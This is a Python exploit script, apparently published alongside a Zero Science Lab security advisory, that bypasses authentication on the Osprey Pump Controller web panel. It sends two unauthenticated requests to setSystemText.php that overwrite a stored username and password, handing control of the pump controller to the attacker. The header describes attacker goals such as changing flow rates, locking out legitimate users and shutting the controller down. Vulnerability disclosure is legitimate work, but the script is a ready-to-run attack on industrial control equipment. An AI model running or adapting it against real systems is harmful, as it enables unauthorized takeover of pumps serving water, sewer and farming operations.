#!/usr/bin/env python
#
# Exploit Title: Osprey Pump Controller v1.0.1 - Authentication Bypass Credentials Modification
# Exploit Author: LiquidWorm
#
# Vendor: ProPump and Controls, Inc.
# Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com
# Affected version: Software Build ID 20211018, Production 10/18/2021
#                   Mirage App: MirageAppManager, Release [1.0.1]
#                   Mirage Model 1, RetroBoard II
#
#
# Summary: Providing pumping systems and automated controls for
# golf courses and turf irrigation, municipal water and sewer,
# biogas, agricultural, and industrial markets. Osprey: door-mounted,
# irrigation and landscape pump controller.
#
# Technology hasn't changed dramatically on pump and electric motors
# in the last 30 years. Pump station controls are a different story.
# More than ever before, customers expect the smooth and efficient
# operation of VFD control. Communications—monitoring, remote control,
# and interfacing with irrigation computer programs—have become common
# requirements. Fast and reliable accessibility through cell phones
# has been a game changer.
#
# ProPump & Controls can handle any of your retrofit needs, from upgrading
# an older relay logic system to a powerful modern PLC controller, to
# converting your fixed speed or first generation VFD control system to
# the latest control platform with communications capabilities.
#
# We use a variety of solutions, from MCI-Flowtronex and Watertronics
# package panels to sophisticated SCADA systems capable of controlling
# and monitoring networks of hundreds of pump stations, valves, tanks,
# deep wells, or remote flow meters.
#
# User friendly system navigation allows quick and easy access to all
# critical pump station information with no password protection unless
# requested by the customer. Easy to understand control terminology allows
# any qualified pump technician the ability to make basic changes without
# support. Similar control and navigation platform compared to one of the
# most recognized golf pump station control systems for the last twenty
# years make it familiar to established golf service groups nationwide.
# Reliable push button navigation and LCD information screen allows the
# use of all existing control panel door switches to eliminate the common
# problems associated with touchscreens.
#
# Global system configuration possibilities allow it to be adapted to
# virtually any PLC or relay logic controlled pump stations being used in
# the industrial, municipal, agricultural and golf markets that operate
# variable or fixed speed. On board Wi-Fi and available cellular modem
# option allows complete remote access.
#
# Desc: A vulnerability has been discovered in the web panel of Osprey pump
# controller that allows an unauthenticated attacker to create an account
# and bypass authentication, thereby gaining unauthorized access to the
# system. The vulnerability stems from a lack of proper authentication
# checks during the account creation process, which allows an attacker
# to create a user account without providing valid credentials. An attacker
# who successfully exploits this vulnerability can gain access to the pump
# controller's web panel, and cause disruption in operation, modify data,
# change other usernames and passwords, or even shut down the controller
# entirely.
#
# The attacker can leverage their unauthorized access to the
# system to carry out a variety of malicious activities, including:
# Modifying pump settings, such as flow rates or pressure levels, causing
# damage or loss of control, stealing sensitive data, such as system logs
# or customer information, changing passwords and other user credentials,
# potentially locking out legitimate users or allowing the attacker to
# maintain persistent access to the system, disabling or shutting down
# the controller entirely, potentially causing significant disruption to
# operations and service delivery.
#
# ----------------------------------------------------------------------
# $ ./accpump.py 192.168.0.25 root rewt
# [ ok ]
# [ ok ]
# Login with 'root:rewt' -> Register Access Menu.
# ----------------------------------------------------------------------
#
# Tested on: Apache/2.4.25 (Raspbian)
#            Raspbian GNU/Linux 9 (stretch)
#            GNU/Linux 4.14.79-v7+ (armv7l)
#            Python 2.7.13 [GCC 6.3.0 20170516]
#            GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git
#            PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2023-5752
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5752.php
#
#
# 05.01.2023
#

import requests
import sys as s
if len(s.argv)!=4:
    print("Osprey Pump Controller Bypass Exploit")
    print("Arguments: [host] [username] [password]")
    exit(-3)
else:
    url=s.argv[1]
    usr=s.argv[2]
    pwd=s.argv[3]
    if not "http" in url:
        url="http://{}".format(url)
#
# Data names .  Values
#
# USERNAME0  .  user
# USERNAME1  .
# USERNAME2  .
# USERNAME3  .
# USERNAME4  .
# USERPW0    .  1234
# USERPW1    .
# USERPW2    .
# USERPW3    .
# USERPW4    .
#
url+="/"
url+="setSystemText"
url+=".php"
paru={"sysTextValue"        :usr,
      "sysTextName"         :"USERNAME3",
      "backTargetLinkNumber":75,
      "userName"            :"ZSL"}
parp={"sysTextValue"        :pwd,
      "sysTextName"         :"USERPW3",
      "backTargetLinkNumber":75,
      "userName"            :"WriteExploit"}
r=requests.get(url,params=paru)
if 'System String "USERNAME3" set' in r.text:
    print("[ ok ]")
else:
    print(f"Error: {r.status_code} {r.reason} - {r.text}")
r=requests.get(url,params=parp)
if 'System String "USERPW3" set' in r.text:
    print("[ ok ]")
    print(f"Login with '{usr}:{pwd}' ",end="")
    print("-> Register Access Menu.")
else:
    print(f"Error: {r.status_code} {r.reason} - {r.text}")